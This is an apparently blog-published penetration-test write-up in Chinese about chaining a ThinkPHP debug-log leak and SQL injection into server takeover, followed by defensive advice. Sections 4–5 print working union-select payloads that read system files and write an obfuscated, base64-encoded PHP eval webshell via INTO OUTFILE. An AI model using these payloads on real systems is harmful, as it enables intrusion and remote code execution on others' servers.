【Web实战】记一次日志泄露到GetShell
字数 1101 2025-08-10 08:28:49

ThinkPHP日志泄露到GetShell实战分析

1. 漏洞背景

本次实战案例基于ThinkPHP框架开发的网站,通过日志泄露漏洞最终获取服务器权限。ThinkPHP作为国内广泛使用的PHP框架,其日志功能在调试模式下可能会记录敏感信息,包括SQL查询语句,这为攻击者提供了可利用的切入点。

2. 信息收集阶段

2.1 初步侦察

  • 目标站点仅显示三个功能点:
    • 功能点1:访问直接返回404
    • 功能点2:注册表单
    • 功能点3:同样返回404

2.2 目录扫描发现

  • 发现.settings/org.eclipse.core.resources.prefs配置文件泄露
    • 该文件通常用于规定项目文件编码
    • 泄露了项目内所有功能点路径

2.3 ThinkPHP特征识别

  • 使用专用工具ThinkphpGUI(GitHub开源项目)确认框架版本和漏洞
  • 发现存在日志泄露漏洞

3. 日志泄露利用

3.1 日志文件发现

  • ThinkPHP在调试模式下会记录详细日志
  • 日志中包含:
    • 用户输入数据
    • SQL查询语句
    • 错误信息

3.2 关键发现

  • 日志中记录了包含单引号的SQL语句:
    SELECT * FROM table WHERE id = '1''
    
  • 发现SQL语句闭合方式为)而非单引号

4. SQL注入攻击

4.1 注入点确认

  • 目标功能点有验证码保护,需手工测试
  • 成功获取数据库信息:
    • 数据库类型:MariaDB
    • 版本信息
    • 当前用户权限

4.2 文件读取

  • 通过目录扫描发现demo目录,获取网站物理路径
  • 使用load_file()函数读取系统文件验证:
    union select 1,load_file('C:/windows/win.ini'),3,4,5,6,7,8,9 --+
    

5. 文件写入与GetShell

5.1 列数确定

  • 由于order by不返回结果,采用逐列测试法
  • 最终确定需要9列:
    1) union select 1,2,3,4,5,6,7,8,'1' into outfile '路径/1.php' --+
    

5.2 Webshell写入

  • 构造Base64编码的PHP代码:
    <?php eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYAQRUGOA==')));?>
    
  • 完整注入语句:
    1) union select 1,2,3,4,5,6,7,8,from_base64('PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgnZUp4TExVdk0wVkNKRC9BUERvbFdUODVOVVkvVnRBWUFSUVVHT0E9PScpKSk7Pz4=') into outfile '绝对路径/随机名.php' --+
    

6. 防御建议

6.1 防止日志泄露

  • 生产环境关闭调试模式
  • 限制日志目录访问权限
  • 定期清理日志文件

6.2 SQL注入防护

  • 使用预处理语句
  • 严格过滤用户输入
  • 避免直接拼接SQL语句

6.3 文件操作安全

  • 禁用into outfile权限
  • 设置secure_file_priv限制MySQL文件操作
  • 上传目录设置为不可执行

6.4 其他防护措施

  • 敏感配置文件不应存放在web目录
  • 验证码应有效防止自动化攻击
  • 安全设备规则应及时更新

7. 总结

本案例展示了从信息收集到最终GetShell的完整攻击链,重点利用了ThinkPHP日志泄露和SQL注入漏洞的组合攻击。攻击者通过日志分析获取关键信息,结合文件操作权限成功植入Webshell。防御方应从多个层面建立防护体系,特别是生产环境的安全配置和敏感信息的保护。

ThinkPHP日志泄露到GetShell实战分析 1. 漏洞背景 本次实战案例基于ThinkPHP框架开发的网站,通过日志泄露漏洞最终获取服务器权限。ThinkPHP作为国内广泛使用的PHP框架,其日志功能在调试模式下可能会记录敏感信息,包括SQL查询语句,这为攻击者提供了可利用的切入点。 2. 信息收集阶段 2.1 初步侦察 目标站点仅显示三个功能点: 功能点1:访问直接返回404 功能点2:注册表单 功能点3:同样返回404 2.2 目录扫描发现 发现 .settings/org.eclipse.core.resources.prefs 配置文件泄露 该文件通常用于规定项目文件编码 泄露了项目内所有功能点路径 2.3 ThinkPHP特征识别 使用专用工具 ThinkphpGUI (GitHub开源项目)确认框架版本和漏洞 发现存在日志泄露漏洞 3. 日志泄露利用 3.1 日志文件发现 ThinkPHP在调试模式下会记录详细日志 日志中包含: 用户输入数据 SQL查询语句 错误信息 3.2 关键发现 日志中记录了包含单引号的SQL语句: 发现SQL语句闭合方式为 ) 而非单引号 4. SQL注入攻击 4.1 注入点确认 目标功能点有验证码保护,需手工测试 成功获取数据库信息: 数据库类型:MariaDB 版本信息 当前用户权限 4.2 文件读取 通过目录扫描发现 demo 目录,获取网站物理路径 使用 load_file() 函数读取系统文件验证: 5. 文件写入与GetShell 5.1 列数确定 由于 order by 不返回结果,采用逐列测试法 最终确定需要9列: 5.2 Webshell写入 构造Base64编码的PHP代码: 完整注入语句: 6. 防御建议 6.1 防止日志泄露 生产环境关闭调试模式 限制日志目录访问权限 定期清理日志文件 6.2 SQL注入防护 使用预处理语句 严格过滤用户输入 避免直接拼接SQL语句 6.3 文件操作安全 禁用 into outfile 权限 设置 secure_file_priv 限制MySQL文件操作 上传目录设置为不可执行 6.4 其他防护措施 敏感配置文件不应存放在web目录 验证码应有效防止自动化攻击 安全设备规则应及时更新 7. 总结 本案例展示了从信息收集到最终GetShell的完整攻击链,重点利用了ThinkPHP日志泄露和SQL注入漏洞的组合攻击。攻击者通过日志分析获取关键信息,结合文件操作权限成功植入Webshell。防御方应从多个层面建立防护体系,特别是生产环境的安全配置和敏感信息的保护。